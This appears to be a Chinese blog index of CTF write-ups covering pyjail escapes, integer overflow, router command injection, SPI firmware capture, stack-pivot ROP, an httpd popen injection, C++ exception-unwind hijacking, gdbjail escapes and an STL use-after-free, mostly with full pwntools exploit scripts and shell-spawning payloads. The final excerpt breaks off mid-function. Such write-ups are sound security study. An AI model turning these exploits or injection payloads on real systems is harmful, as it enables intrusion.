快来和我贴贴qaq
post @ 2025-01-27

pwn

嘛,因为学校那边的事情,好久没有打ctf了,找个beginner难度的ctf热身一下

Knight’s Secret

pyjail?? 题目自定义了一个person类,可以访问person类的属性,方法。题目目标只需要获取程序环境中的key,通过内置方法 mro返回的继承链数组来获取object对象,拿到object对象后就可以通过globals内置方法去检索程序中有的属性 方法拿到key

exp

Enter your secret: {person_obj.__class__.__mro__[0].__init__.__globals__}
Output: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x76a7e6a7b920>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/challenge/challenge.py', '__cached__': None, 'CONFIG': {'KEY': '_KNIGHTSECRET2025_'}, 'Person': <class '__main__.Person'>, 'fun': <function fun at 0x76a7e6a62340>, 'main': <function main at 0x76a7e6840d60>}

Knight Bank

整数溢出,让uint溢出就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+8h] [rbp-8h] BYREF
  unsigned int v5; // [rsp+Ch] [rbp-4h]

  v5 = 1000;
  puts("Welcome to the Knight Bank!");
  fflush(_bss_start);
  printf("Your current balance is: %u\n", 1000LL);
  fflush(_bss_start);
  printf("Enter the amount you want to withdraw: ");
  fflush(_bss_start);
  if ( (unsigned int)__isoc99_scanf("%u", &v4) == 1 )
  {
    if ( v4 <= 0xF4240 )
    {
      v5 -= v4;
      printf("You withdrew %u. Your new balance is %u.\n", v4, v5);
      fflush(_bss_start);
      if ( v5 <= 0xF4240 )
      {
        puts("Better luck next time!");
        fflush(_bss_start);
      }
      else
      {
        win_prize();
      }
      return 0;
    }
    else
    {
      puts("Error: You cannot withdraw more than 1,000,000 at a time.");
      fflush(_bss_start);
      return 1;
    }
  }
  else
  {
    puts("Invalid input. Exiting.");
    fflush(_bss_start);
    return 1;
  }
}

int win_prize()
{
  puts("Congratulations! You win the prize!");
  fflush(_bss_start);
  return system("cat flag.txt");
}

exp

1001
Read More
post @ 2024-10-23

前言

太菜了了喵,不懂dev 不懂algo

总排名 #68,校外排名 #22,差四十分就能拿到三等奖了还是太菜了

签到

啊这,看起来像是压缩包套娃,随便点了几下就找到flag了

flag{W3LCOME-TO-THE-GUTSY-GUSHY-GEEKGAME}

清北问答

flag1

flag{jailbreak-master-unleashed}

flag2

flag{CUZ WE ARE TOP OF THE TOP, TOP OF THE WORLD}

#1

在清华大学百年校庆之际,北京大学向清华大学赠送了一块石刻。石刻最上面一行文字是什么?

答案格式: ^[\u4E00-\u9FFF\w]{10,15}$

https://k.sina.cn/article_6839256553_197a6c5e900100s1wc.html?from=edu

通过搜索可以找到这块石头的图片,但是上面有两个字看不清楚

对比清华送给北大那块石头上的文字,发现那两个字是建校

贺清华大学建校100周年
Read More
post @ 2024-09-07

iot

We found a command injection….. but you have to reboot the router to activate it…

Reboot(Misc)

### IMPORTS ###
import os, time, sys


### INPUT ###
hostname = 'bababooey'

while True:
    print('=== MENU ===')
    print('1. Set hostname')
    print('2. Reboot')
    print()
    choice = input('Choice: ')

    if choice == '1':
        hostname = input('Enter new hostname (30 chars max): ')[:30]

    elif choice == '2':
        print("Rebooting...")
        sys.stdout.flush()
        time.sleep(30)
        os.system(f'cat /etc/hosts | grep {hostname} -i')
        print('Reboot complete')

    else:
        print('Invalid choice')

命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i

exp

1; /bin/bash #

Sal(HardWare)

A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ.

What's the md5sum of /etc/passwd?

Flag format - byuctf{hash}

external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统

Saleae logic的官网有分析.sai文件的软件,需要下载这个软件来分析题目的附件

可以发现作者用Saleae logic录制了四个通道

通过阅读文档发现 Winbond 25Q128JVSQ使用的是spi通信协议

SPI 有四条信号线,这里主设备是指控制者,从设备是指flash存储芯片

MOSI(Master Out Slave In): 主设备输出数据,从设备接收数据。
MISO(Master In Slave Out): 主设备接收数据,从设备输出数据。
SCLK(Serial Clock): 时钟信号,由主设备生成,控制数据的传输速率。
SS/CS(Slave Select/Chip Select): 从设备选择信号。当某个从设备被选中(SS为低电平时),它才会响应主设备的指令。

Saleae logic里有一个spi数据分析的插件,可以把读写数据的行为分析出来

分析并且导出数据,得先区分这四个通道分别对应哪四个信号线,读取数据的时候,CS的电平会被拉低,然后通过DI依次输入0x3h以及一个24位的地址,地址被接收后,从设备准备好输出数据时,时钟信号会从高电平变成低电平触发数据输出

Read More
post @ 2024-09-04

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2024pwn

pstack

程序逻辑非常简单,存在栈溢出只能覆盖返回地址,没有pie,通过二次栈迁移,控制rbp来实现任意地址写,然后第一次栈迁移往bss写满泄露地址的rop,之后二次迁移过去执行就可以执行rop,第一次rop泄露地址,第二次rop直接getshell

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 32922
elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

rdi=0x0000000000400773
rbp=0x00000000004005b0
leave_ret=0x4006DB
ret=0x4006DC
vuln=0x4006C4

payload = flat([
    b'a' * 0x30,0x601730,vuln
])
sa("Can you grasp this little bit of overflow?",payload)

payload = flat([
    rdi,elf.got['read'],elf.plt['puts'],
    rbp,0x601a30,vuln,
    0x6016f8,leave_ret
])
s(payload)
rl()
libc_base = u64(r(6).ljust(8,b'\x00')) -libc.sym['read']
success(hex(libc_base))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = flat([
    rdi,binsh,system,b'a' * 0x18,
    0x6019f8,leave_ret
])
s(payload)

p.interactive()

httpd

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // eax
  int result; // eax
  int v6; // eax
  int v7; // eax
  struct tm *v8; // eax
  __time_t tv_sec; // edi
  int st_size; // esi
  const char *v11; // eax
  struct dirent **namelist; // [esp+8h] [ebp-14134h] BYREF
  int v13; // [esp+Ch] [ebp-14130h] BYREF
  int v14; // [esp+10h] [ebp-1412Ch] BYREF
  int v15; // [esp+14h] [ebp-14128h] BYREF
  int v16; // [esp+18h] [ebp-14124h] BYREF
  char v17; // [esp+1Ch] [ebp-14120h] BYREF
  char *haystack; // [esp+20h] [ebp-1411Ch]
  int i; // [esp+24h] [ebp-14118h]
  size_t v20; // [esp+28h] [ebp-14114h]
  char *has_host; // [esp+2Ch] [ebp-14110h]
  char *v22; // [esp+30h] [ebp-1410Ch]
  int stdout_fd; // [esp+34h] [ebp-14108h]
  int v24; // [esp+38h] [ebp-14104h]
  FILE *stream; // [esp+3Ch] [ebp-14100h]
  int v26; // [esp+40h] [ebp-140FCh]
  FILE *v27; // [esp+44h] [ebp-140F8h]
  int c; // [esp+48h] [ebp-140F4h]
  struct stat v29; // [esp+4Ch] [ebp-140F0h] BYREF
  char modes[2]; // [esp+A6h] [ebp-14096h] BYREF
  char v31[16]; // [esp+A8h] [ebp-14094h] BYREF
  char v32[116]; // [esp+B8h] [ebp-14084h] BYREF
  char v33[1908]; // [esp+12Ch] [ebp-14010h] BYREF
  char input_data[10000]; // [esp+8A0h] [ebp-1389Ch] BYREF
  char httpMethod[10000]; // [esp+2FB0h] [ebp-1118Ch] BYREF
  char requestPath; // [esp+56C0h] [ebp-EA7Ch] BYREF
  char v37[9999]; // [esp+56C1h] [ebp-EA7Bh] BYREF
  char httpVersion[10000]; // [esp+7DD0h] [ebp-C36Ch] BYREF
  char file[20000]; // [esp+A4E0h] [ebp-9C5Ch] BYREF
  char v40[15588]; // [esp+F300h] [ebp-4E3Ch] BYREF
  __int64 v41; // [esp+12FE4h] [ebp-1158h]
  char *v42; // [esp+12FECh] [ebp-1150h]
  int v43; // [esp+1312Ch] [ebp-1010h] BYREF
  unsigned int v44; // [esp+14120h] [ebp-1Ch]
  int *p_argc; // [esp+1412Ch] [ebp-10h]

  p_argc = &argc;
  while ( &v43 != (int *)v33 )
    ;
  v44 = __readgsdword(0x14u);
  memset(&v33[884], 0, 1024);
  v20 = 0;
  strcpy(modes, "r");
  if ( chdir("/home/ctf/html") < 0 )
    puts_error(500, (int)"Internal Error", 0, "Config error - couldn't chdir().");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "No request found.");
  if ( __isoc99_sscanf(input_data, "%[^ ] %[^ ] %[^ ]", httpMethod, &requestPath, httpVersion) != 3 )
    puts_error(400, (int)"Bad Request", 0, "Can't parse request.");
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  has_host = strstr(input_data, "Host: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Host.");
  v22 = strstr(has_host + 6, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 6, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 6) <= 7 )
    puts_error(400, (int)"Bad Request", 0, "Host len error.");
  if ( has_host == (char *)-6 || !has_host[6] )
    puts_error(400, (int)"Bad Request", 0, "Host fmt error.");
  v42 = &v17;
  HIDWORD(v41) = &v16;
  __isoc99_sscanf(has_host + 6, "%d.%d.%d.%d%c", &v13, &v14, &v15);
  if ( !fgets(input_data, 10000, stdin) )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  has_host = strstr(input_data, "Content-Length: ");
  if ( !has_host )
    puts_error(400, (int)"Bad Request", 0, "Missing Content-Length.");
  v22 = strstr(has_host + 16, "\r\n");
  if ( v22 )
  {
    *v22 = 0;
  }
  else
  {
    v22 = strchr(has_host + 16, (int)"\n");
    if ( v22 )
      *v22 = 0;
  }
  if ( strlen(has_host + 16) > 5 )
    puts_error(400, (int)"Bad Request", 0, "Content-Length len too long.");
  if ( strcasecmp(httpMethod, "get") )
    puts_error(501, (int)"Not Implemented", 0, "That method is not implemented.");
  if ( strncmp(httpVersion, "HTTP/1.0", 8u) )
    puts_error(400, (int)"Bad Request", 0, "Bad protocol.");
  if ( requestPath != 47 )
    puts_error(400, (int)"Bad Request", 0, "Bad filename.");
  haystack = v37;
  urldecode(v37, v37);
  if ( !*haystack )
    haystack = "./";
  v20 = strlen(haystack);
  if ( *haystack == '/'                         // 目录穿越检查
    || !strcmp(haystack, "..")
    || !strncmp(haystack, "../", 3u)
    || strstr(haystack, "/../")
    || !strcmp(&haystack[v20 - 3], "/..") )
  {
    puts_error(400, (int)"Bad Request", 0, "Illegal filename.");
  }
  if ( !sub_1F74(haystack) )
    puts_error(404, (int)"Not Found", 0, "Invalid file name.");
  v3 = fileno(stdout);
  stdout_fd = dup(v3);
  v4 = fileno(stderr);
  v24 = dup(v4);
  freopen("/dev/null", "w", stdout);
  freopen("/dev/null", "w", stderr);
  stream = popen(haystack, modes);
  if ( stream )
  {
    pclose(stream);
    v6 = fileno(stdout);
    dup2(stdout_fd, v6);
    v7 = fileno(stderr);
    dup2(v24, v7);
    close(stdout_fd);
    close(v24);
    if ( stat(haystack, &v29) < 0 )
      puts_error(404, (int)"Not Found", 0, "File not found.");
    if ( (v29.st_mode & 0xF000) == 0x4000 )
    {
      if ( haystack[v20 - 1] != 47 )
      {
        snprintf(v40, 0x4E20u, "Location: %s/", &requestPath);
        puts_error(302, (int)"Found", (int)v40, "Directories must end with a slash.");
      }
      snprintf(file, 0x4E20u, "%sindex.html", haystack);
      if ( stat(file, &v29) < 0 )
      {
        sub_23D9(200, "Ok", 0, (int)"text/html", -1, v29.st_mtim.tv_sec);
        v26 = scandir(haystack, &namelist, 0, (int (*)(const void *, const void *))&alphasort);
        if ( v26 >= 0 )
        {
          for ( i = 0; i < v26; ++i )
          {
            sub_2704(v32, 0x3E8u, (unsigned __int8 *)namelist[i]->d_name);
            snprintf(file, 0x4E20u, "%s/%s", haystack, namelist[i]->d_name);
            if ( lstat(file, &v29) >= 0 )
            {
              v8 = localtime(&v29.st_mtim.tv_sec);
              strftime(v31, 0x10u, "%d%b%Y %H:%M", v8);
              printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v32, namelist[i]->d_name, v31, (__int64)v29.st_size);
              sub_20C6(file);
            }
            else
            {
              printf("<a href=\"%s\">%-32.32s</a>    ???\n", v32, namelist[i]->d_name);
            }
            printf(
              "</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
              "https://2024ycb.dasctf.com/",
              "YCB2024");
          }
        }
        else
        {
          perror("scandir");
        }
        goto LABEL_74;
      }
      haystack = file;
    }
    v27 = fopen(haystack, "r");
    if ( !v27 )
      puts_error(403, (int)"Forbidden", 0, "File is protected.");
    tv_sec = v29.st_mtim.tv_sec;
    st_size = v29.st_size;
    v11 = sub_2566(haystack);
    sub_23D9(200, "Ok", 0, (int)v11, st_size, tv_sec);
    while ( 1 )
    {
      c = getc(v27);
      if ( c == -1 )
        break;
      putchar(c);
    }
LABEL_74:
    fflush(stdout);
    exit(0);
  }
  result = -1;
  if ( v44 != __readgsdword(0x14u) )
    check_canary();
  return result;
}

程序的逻辑很长,实现了一个http request parse,然后相应请求,大多数逻辑都是对http request的格式做判断,还有目录穿越的检查

漏洞出在这里popen这里

这个popen会fork一个子进程,然后调用shell,把参数传过去,也没有做过滤,所以可以通过这里执行命令

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "139.155.126.78"
PORT = 30523
elf = context.binary = ELF('./httpd')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

payload = flat([
    b'GET ',b'/cat%20%2Fflag%20%3E%20flag.txt ',b'HTTP/1.0\r\n',
    b'Host: 00.00.00.00\r\n',
    b'Content-Length: 0\r\n'
])
p.send(payload)
p.close()

p = connect()
payload = flat([
    b'GET ',b'/flag.txt ',b'HTTP/1.0\r\n',
    b'Host: 00.00.00.00\r\n',
    b'Content-Length: 0\r\n'
])
p.send(payload)

p.interactive()

logger

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int choice; // [rsp+4h] [rbp-7Ch] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  init_io(a1, a2, a3);
  choice = 0;
  while ( 1 )
  {
    menu();
    scanf("%d", &choice);
    if ( choice == 3 )
    {
      puts("Bye!");
      exit(0);
    }
    if ( choice > 3 )
    {
LABEL_10:
      puts("Wrong!");
    }
    else if ( choice == 1 )
    {
      Trace();
    }
    else
    {
      if ( choice != 2 )
        goto LABEL_10;
      warn();
    }
  }
}

int init_io()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}

unsigned __int64 Trace()
{
  int i; // [rsp+Ch] [rbp-24h]
  int j; // [rsp+Ch] [rbp-24h]
  int v3; // [rsp+10h] [rbp-20h]
  __int16 v4; // [rsp+26h] [rbp-Ah] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("\nYou can record log details here: ");
  fflush(stdout);
  for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i )
    ;
  if ( i <= 8 )
  {
    byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10uLL)] = 0;
    printf("Do you need to check the records? ");
    fflush(stdout);
    v4 = 0;
    scanf("%1s", &v4);
    if ( (_BYTE)v4 == 121 || (_BYTE)v4 == 89 )
    {
      v3 = 8;
      for ( j = 0; j <= 8 && byte_404020[16 * j] && v3; ++j )
      {
        printf("\x1B[31mRecord%d. %.16s\x1B[0m", (unsigned int)(j + 1), &byte_404020[16 * j]);
        --v3;
      }
    }
    else if ( (_BYTE)v4 != 110 && (_BYTE)v4 != 78 )
    {
      puts("Invalid input. Please enter 'y' or 'n'.");
      exit(0);
    }
  }
  else
  {
    puts("Records have been filled :(");
  }
  return v5 - __readfsqword(0x28u);
}

unsigned __int64 warn()
{
  unsigned __int64 v0; // rax
  _QWORD *exception; // rax
  __int64 v3; // [rsp+8h] [rbp-78h]
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  __int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  clean_up(buf);
  memset(v5, 0, sizeof(v5));
  sub_4014FD(v5, 32LL);
  printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
  printf("[!] Type your message here plz: ");
  fflush(stdout);
  v0 = read(0, buf, 0x100uLL);
  HIBYTE(v3) = HIBYTE(v0);
  buf[v0 - 1] = 0;
  if ( v0 > 0x10 )
  {
    memcpy(byte_404200, buf, sizeof(byte_404200));
    strcpy(dest, src);
    strcpy(&dest[strlen(dest)], ": ");
    strncat(dest, byte_404200, 0x100uLL);
    puts(dest);
    exception = __cxa_allocate_exception(8uLL);
    *exception = src;
    __cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
  }
  memcpy(byte_404100, buf, sizeof(byte_404100));
  memset(v6, 0, 32);
  sub_4014FD(v6, 32LL);
  printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
  sub_401CCA(buf);
  return v7 - __readfsqword(0x28u);
}

程序有两个漏洞 Trace函数循环边界没有处理好 有一个越界写的漏洞,可以把buffer overflow这个字段覆盖一部分

.data:0000000000404020 00 0A 00 00 00 00 00 00 00 00+byte_404020 db 0, 0Ah, 7Eh dup(0)       ; DATA XREF: Trace+58↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+9F↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+CE↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+147↑o
.data:0000000000404020 00 00 00 00 00 00 00 00 00 00+                                        ; Trace+168↑o
.data:00000000004040A0                               ; char src[]
.data:00000000004040A0 42 75 66 66 65 72 20 4F 76 65+src db 'Buffer Overflow',0  

warn有一个栈溢出的漏洞,但是有一个输入长度的检查,如果输入长度 > 0x10就会进到异常处理的逻辑然后throw一个buffer overflow的字段,由外面一层函数的catch捕获后 handler

unsigned __int64 warn()
{
  unsigned __int64 v0; // rax
  _QWORD *exception; // rax
  __int64 v3; // [rsp+8h] [rbp-78h]
  char buf[16]; // [rsp+10h] [rbp-70h] BYREF
  __int64 v5[4]; // [rsp+20h] [rbp-60h] BYREF
  __int64 v6[5]; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  clean_up(buf);
  memset(v5, 0, sizeof(v5));
  sub_4014FD(v5, 32LL);
  printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5);
  printf("[!] Type your message here plz: ");
  fflush(stdout);
  v0 = read(0, buf, 0x100uLL);
  HIBYTE(v3) = HIBYTE(v0);
  buf[v0 - 1] = 0;
  if ( v0 > 0x10 )
  {
    memcpy(byte_404200, buf, sizeof(byte_404200));
    strcpy(dest, src);
    strcpy(&dest[strlen(dest)], ": ");
    strncat(dest, byte_404200, 0x100uLL);
    puts(dest);
    exception = __cxa_allocate_exception(8uLL);
    *exception = src;
    __cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL);
  }
  memcpy(byte_404100, buf, sizeof(byte_404100));
  memset(v6, 0, 32);
  sub_4014FD(v6, 32LL);
  printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6);
  sub_401CCA(buf);
  return v7 - __readfsqword(0x28u);
}

cpp的异常处理围绕着三个步骤进行处理,unwind cleanup handler,unwind会调用一些函数来判断当前栈帧中有没有能处理异常的逻辑,如果有就会把控制权转移到那边处理异常,如果没有,unwind就会找父函数有没有处理异常的逻辑,具体是怎么找的,是通过rbp和 rbp + 8 去确定父函数的栈帧位置,当前函数找不到就会调用cleanup去清理资源,然后根据rbp和rbp + 8去回溯到上一个栈帧那,直到unwind找到一个可以捕获异常的逻辑,就会把控制权转交过去然后由这段逻辑进行handler。

如果把rbp + 8覆盖成一个其他的try块的地址,就能扰乱unwind栈展开的流程,logger中有一段backdoor 也是catch一个字符串类型的异常,通过覆盖返回地址就可以把控制流劫持到这个位置执行backdoor,先通过上面的越界写去写一个binsh的字符串,然后覆盖返回地址扰乱unwind的流程 使这个异常被backdoor handler处理,最后getshell

.text:0000000000401BC2                               ;   try {
.text:0000000000401BC2 E8 69 F7 FF FF                call    ___cxa_throw
.text:0000000000401BC2                               ;   } // starts at 401BC2
.text:0000000000401BC2
.text:0000000000401BC7                               ; ---------------------------------------------------------------------------
.text:0000000000401BC7                               ;   catch(char const*) // owned by 401BC2
.text:0000000000401BC7 F3 0F 1E FA                   endbr64
.text:0000000000401BCB 48 83 FA 01                   cmp     rdx, 1
.text:0000000000401BCF 74 08                         jz      short loc_401BD9
.text:0000000000401BCF
.text:0000000000401BD1 48 89 C7                      mov     rdi, rax
.text:0000000000401BD4 E8 67 F7 FF FF                call    __Unwind_Resume
.text:0000000000401BD4
.text:0000000000401BD9                               ; ---------------------------------------------------------------------------
.text:0000000000401BD9
.text:0000000000401BD9                               loc_401BD9:                             ; CODE XREF: .text:0000000000401BCF↑j
.text:0000000000401BD9 48 89 C7                      mov     rdi, rax
.text:0000000000401BDC E8 FF F5 FF FF                call    ___cxa_begin_catch
.text:0000000000401BDC
.text:0000000000401BE1 48 89 45 E8                   mov     [rbp-18h], rax
.text:0000000000401BE5 48 8B 45 E8                   mov     rax, [rbp-18h]
.text:0000000000401BE9 48 89 C6                      mov     rsi, rax
.text:0000000000401BEC 48 8D 05 AD 06 00 00          lea     rax, aAnExceptionOfT_1          ; "[-] An exception of type String was cau"...
.text:0000000000401BF3 48 89 C7                      mov     rdi, rax
.text:0000000000401BF6 B8 00 00 00 00                mov     eax, 0
.text:0000000000401BFB                               ;   try {
.text:0000000000401BFB E8 D0 F5 FF FF                call    _printf
.text:0000000000401BFB
.text:0000000000401C00 48 8B 45 E8                   mov     rax, [rbp-18h]
.text:0000000000401C04 48 89 C7                      mov     rdi, rax
.text:0000000000401C07 E8 54 F6 FF FF                call    _system
.text:0000000000401C07                               ;   }
Read More
post @ 2024-09-02

题目附件https://github.com/nyyyddddn/ctf/tree/main/gdbjail

最近在ImaginaryCTF看到两个关于gdbjail的题目,觉得挺有意思的,远程提供了一个受限的gdb调试环境,限制交互的时候使用的命令,目的是利用限制的命令去实现getshell,或者是将flag读出来。

没用过没装插件的gdb,不装插件挺难用的

gdbjail1

run.sh

#!/bin/bash

gdb -x /home/user/gdbinit

gdbinit

source /home/user/main.py

main.py

import gdb

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()

通过阅读官方文档,可以发现set可以对表达式进行赋值,通过set可以写内存或者是修改寄存器,main.py中,在read func打了一个断点,也就是说RIP寄存器是一个libc的地址,可以通过docker中提取出来的libc read符号的差值算出libc_base和binsh的地址,将rdi寄存器修改成binsh字符串的地址,将pc寄存器修改成libc_base的地址就可以getshell

exp

from pwn import *

libc = ELF("./libc.so.6")
p = remote("127.0.0.1", 9999)


p.sendline(f"set $rdi=$rip-{libc.sym['read']}") # rdi = libc_base
p.sendline(f"set $rdi=$rdi+{next(libc.search(b'/bin/sh'))}") # rdi = binsh_addr

p.sendline(f"set $rip=$rip-{libc.sym['read']}") # pc = libc_base
p.sendline(f"set $rip=$rip+{libc.sym['system']}") # pc = system_func

# exec system("/bin/sh")
p.sendline(b"continue")

p.interactive()

gdbjail2

和gdbjail1 不同的地方是,flag文件名是随机的

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot

RUN /usr/sbin/useradd --no-create-home -u 1000 user

RUN DEBIAN_FRONTEND=noninteractive apt-get -y update
RUN DEBIAN_FRONTEND=noninteractive apt-get -y install gdb python3

COPY flag.txt /home/user/flag.txt
RUN mv /home/user/flag.txt /home/user/`tr -dc A-Za-z0-9 < /dev/urandom | head -c 20`.txt
COPY run.sh /home/user/chal
COPY gdbinit.sh /home/user/gdbinit
COPY main.py /home/user/main.py
RUN chmod 555 /home/user/chal

FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
    kctf_drop_privs \
    socat \
      TCP-LISTEN:1337,reuseaddr,fork \
      EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"

以及多了一个blacklist,使用set去写内存需要指定写的数据宽度,()被禁用了导致不能用set去写内存,只能修改寄存器,同时因为p被禁用了,不能直接修改RIP寄存器

import gdb

blacklist = ["p", "-", "&", "(", ")", "[", "]", "{", "}", "0x"]

def main():
    gdb.execute("file /bin/cat")
    gdb.execute("break read")
    gdb.execute("run")

    while True:
        try:
            command = input("(gdb) ")
            if any([word in command for word in blacklist]):
                print("Banned word detected!")
                continue
            if command.strip().startswith("break") or command.strip().startswith("set") or command.strip().startswith("continue"):
                try:
                    gdb.execute(command)
                except gdb.error as e:
                    print(f"Error executing command '{command}': {e}")
            else:
                print("Only 'break', 'set', and 'continue' commands are allowed.")
        except:
            pass

if __name__ == "__main__":
    main()

getshell的思路很简单,/bin/cat 一定会调用glibc中的read函数,然后read函数封装了read syscall,所以一定有一个syscall instruction的片段,在read的syscall instruction中断下来,然后通过修改rax为 0x3b rdi为 binsh ,rsi为 0 rdx 为0 去调用execve(“/bin/sh”,0,0) getshell

Read More

题目附件https://github.com/nyyyddddn/ctf/tree/main/nssr3d_Iterator_Trap/Iterator_Trap

Iterator_Trap

这是一个关于stl迭代器不安全使用导致uaf的漏洞,第一次出和stl相关的题目

题目逻辑

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  uint32_t choice; // [rsp+Ch] [rbp-54h] BYREF
  std::vector<void*> chunklist; // [rsp+10h] [rbp-50h] BYREF
  std::vector<int> sizelist; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+48h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  std::vector<void *>::vector(&chunklist);
  std::vector<int>::vector(&sizelist);
  init();
  gift();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%u", &choice);
      if ( choice != 3 )
        break;
      edit_func(&chunklist, &sizelist);
    }
    if ( choice > 3 )
      break;
    if ( choice == 1 )
    {
      create_func(&chunklist, &sizelist);
    }
    else
    {
      if ( choice != 2 )
        break;
      delete_func(&chunklist, &sizelist);
    }
  }
  exit(0);
}

void __cdecl menu()
{
  puts("[1] void create(__uint32_t size,char *content)");
  puts("[2] void delete(__uint32_t idx)");
  puts("[3] void edit(__uint32_t idx,char *content)");
  printf(">>> ");
}

void __cdecl gift()
{
  void *v0; // rax

  v0 = sbrk(0LL);
  printf("Welcome to nssctf 3rd. gift: %p\n", v0);
}

void __cdecl create_func(std::vector<void*> *chunklist, std::vector<int> *sizelist)
{
  std::vector<int>::size_type v2; // rdx
  __gnu_cxx::__alloc_traits<std::allocator<int>,int>::value_type v3; // ebx
  std::vector<void*>::size_type v4; // rdx
  char **v5; // rax
  int size; // [rsp+1Ch] [rbp-24h] BYREF
  std::vector<void*>::value_type __x[3]; // [rsp+20h] [rbp-20h] BYREF

  __x[1] = (std::vector<void*>::value_type)__readfsqword(0x28u);
  puts("size: ");
  __isoc99_scanf("%d", &size);
  __x[0] = malloc(size);
  std::vector<void *>::push_back(chunklist, __x);
  std::vector<int>::push_back(sizelist, &size);
  puts("content: ");
  v2 = std::vector<int>::size(sizelist) - 1;
  v3 = *std::vector<int>::operator[](sizelist, v2);
  v4 = std::vector<void *>::size(chunklist) - 1;
